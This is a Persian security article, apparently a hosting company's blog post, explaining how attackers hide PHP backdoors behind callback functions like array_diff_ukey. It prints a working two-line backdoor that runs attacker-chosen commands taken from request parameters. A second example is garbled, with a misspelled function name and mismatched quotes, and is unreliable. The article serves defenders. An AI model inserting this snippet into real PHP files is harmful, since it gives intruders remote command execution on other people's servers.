مخفی کردن Backdoor ها با توابع PHP Callback
بَکدُر (Backdoor) چیست؟
بدافزارهای بکدور (Backdoor) برنامههایی هستند که امکان دور زدن پروسه امنیتی یک سیستم را به هکرها داده و منابع مختلفی از آن سیستم را از راه مربوطه در اختیار نفوذگران قرار می دهند
هکرها می توانند با استفاده از این روش بدون نیاز به اعتبار سنجی وارد سرور مورد نظر شده و از تغییر نام کاربری و رمز عبور سرور نگرانی نداشته باشند.
بکدورها اشکال مختلفی دارند که هکرها بنا بر اهداف خود از نفوذ به منابع یک سیستم از آنها استفاده میکنند.
توجه به بررسیهایی امنیتی روزانه که در ایرانسرور انجام میشود، تکنیکهایی که نویسندهگان malware (مخرب)ها برای بکارگیری آن استفاده میکنند گاهی بسیار بامزه و جذاب است، و سبب شادی و نشاط میشود، اما بسیاری از این تکنیکها بسیار مخرب هستند و میتوانند مدیر یک سایت و یا حتی یک سرور را در شرایط بحرانی قرار دهند. متن زیر به یکی از همین تکنیکهای مخرب اشاره خواهد داشت.
تمام کسانی که به نوعی با زیان PHP و دستورات آن آشنایی دارند تابع eval() و کاربردش را میشناسند. کاربرد این تابع ارزیابی اعتبار رشتههای ورودی به عنوان دستور PHP است. به عبارت دیگر اجرا کننده کد است. در حالحاضر روشهای زیادی برای اجرای دستور در زبان PHP وجود دارد، روشهایی که زیاد شفاف نیستند.
یکی از این راهها بسیار معمول، استفاد از تابع preg_replace() میباشد. با توجه به توضیح تابع preg_replace()، این تابع اجرا کنندهی یک عبارت منظم search and replace (جستجو و تغییر) است. متاسفانه زمانی که از “\e” در این تابع استفاده شود، این تابع دستور را اجرا خواهد کرد.
از دیگر راههای اجرای دستورات میتوانcreate_function() و the assert() را برشمرد، انتخابهایی که برای اجرای یک دستور وجود دارد، تحلیل و شناسایی نرمافزارهای مخرب را پیچیدهتر میکند. بههمین دلیل است که میگوییم، حتی با دانش و مهارتی که ما داریم، همچنان به دنبال پیدا کردن راههای زیرکانه و مبتکرانه نویسندگان مخربها در بکارگیری backdoorهایشان هستیم.
backdoor:
با تزریق دو خط مانند زیر به ابتدای یک فایل PHP معتبر، حمله شروع میشود.
کد PHP:
کد:
@array_diff_ukey(@array((string)$_REQUEST['password']=>1),
@array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']);
با کمی دقت متوجه مشکل تابع callback خواهید شد، نویسنده مخرب، تابع callback را به عنوان یک متغییر ورود تنظیم کردهاست؛ متغیری که به وسیله مهاجم کنترل میگردد. بنابراین او میتواند وارد سیستم شده و به عنوان یک کاربر معتبر، بر روی سرور دستورات و توابع مورد نیاز خود را اجرا کند.
به مثال زیر دقت کنید:
کد PHP:
کد:
<?php
arry_diff_ukey(@array('echo All your data belong to me!" =>1)/@array("=>2).'system');
?>
مسئله مهم چیست؟
بیشتر ابزارهای امنیتی و مقالات به وب مسترها پیشنهاد میدهند به دنبال زیر مجموعههای خاصی از توابع که معمولا برای اهداف مخرب استفاده میشود باشند. مانند eval ،preg_replace ،base64_decode و از این قبیل. دلیل آن کاملا مشخص است، مهاجمها نیز دقیقا به دنبال همین توابع برای رسیدن به اهداف خود هستند.
کلام آخر اینکه دقت داشته باشید، تابع array_diff_ukey() تنها تابعی نیست که میتوان از آن چنین استفادهای کرد، هر تابعی که ماهیت callback را در خود داشته باشد، به مهاجم امکان استفاده در جهت پیشبرد اهدافش را خواهد داد.